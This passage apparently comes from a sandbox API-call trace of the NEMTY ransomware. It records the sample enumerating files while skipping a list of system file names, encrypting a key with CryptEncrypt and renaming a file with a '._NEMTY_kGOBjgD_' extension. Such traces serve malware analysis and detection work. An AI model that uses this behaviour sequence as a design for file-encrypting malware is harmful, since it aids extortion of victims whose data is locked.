lpString2="RECYCLER") returned -1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="bootmgr") returned 1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="programdata") returned -1 [0100.542] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="appdata") returned 1 [0100.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0100.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0100.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NBMapTIP.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0100.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0100.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0100.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NBMapTIP.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0100.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0100.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0100.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0100.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0100.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NBMapTIP.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0100.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0100.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0100.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0100.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0100.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NBMapTIP.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0100.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0100.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941b0 [0100.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94138 | out: hHeap=0x4f90000) returned 1 [0100.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94138 [0100.542] Sleep (dwMilliseconds=0x5) [0100.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef9523f0, dwHighDateTime=0x1d561e7)) [0100.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef9523f0, dwHighDateTime=0x1d561e7)) [0100.555] GetLastError () returned 0x5 [0100.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0100.555] GetLastError () returned 0x5 [0100.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0100.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0100.556] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0100.556] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0100.556] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0100.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94228 [0100.556] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94228, pcchString=0x653ef9c | out: pszString="9oX9F3KY45ZK1BvmqEPqOQJunjzMqK106RFuFI6GXBi5IgPCG+FPv94CFrdj4jhM\r\nxf47ad9A3jbRPAK8xBDv/OU3FgqXbdVrXfSZ/0zH2ICVtZ7ZfM0KlvwVmGsGY3y9\r\nc7GBv0D8cozDI/84tJ6t5z8fXx9YerwW9sgiC0zjRcFbpz1BuV7pFe6XHlpH0bTs\r\n+40j4FguoWZzxHqnKyvoJKfOLX8zEQEIT1SmX1W/GoAxiSYNQNuReeKtfrHeOGMq\r\ne2RUi5GO0cIKC5mAlDB+hjOC9EyVpmQKxoy2782tClFtr6ta/SAQbVQkBXxAVhyj\r\n20vS1dP3yndDBIqkzACOVA==\r\n", pcchString=0x653ef9c) returned 1 [0100.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0100.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0100.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0100.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0100.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94228 [0100.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0100.556] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\NBMapTIP.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\nbmaptip.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.556] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0100.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0100.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.556] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.575] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.585] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.585] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.606] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.615] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.615] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.625] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.625] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.634] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.634] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.644] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.655] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.655] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.667] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.667] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94228, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0100.667] CloseHandle (hObject=0xffffffff) returned 0 [0100.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94398 [0100.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0100.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0100.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0100.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0100.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0100.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0100.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0100.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0100.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0100.668] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\en-US\\NBMapTIP.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\nbmaptip.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\NBMapTIP.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\en-us\\nbmaptip.dll.mui._nemty_kgobjgd_")) returned 0 [0100.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0100.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0100.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0100.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0100.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0100.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0100.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94138 | out: hHeap=0x4f90000) returned 1 [0100.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0100.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.668] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2=".") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="..") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="...") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="windows") returned -1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="rsa") returned -1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="NTDETECT.COM") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="ntldr") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="MSDOS.SYS") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="IO.SYS") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="boot.ini") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="boot.ini") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="ntuser.dat") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="desktop.ini") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="CONFIG.SYS") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="RECYCLER") returned -1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="bootmgr") returned 1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="programdata") returned -1 [0100.668] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="appdata") returned 1 [0100.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0100.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDIALOG.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0100.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0100.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0100.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDIALOG.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0100.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0100.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0100.669] 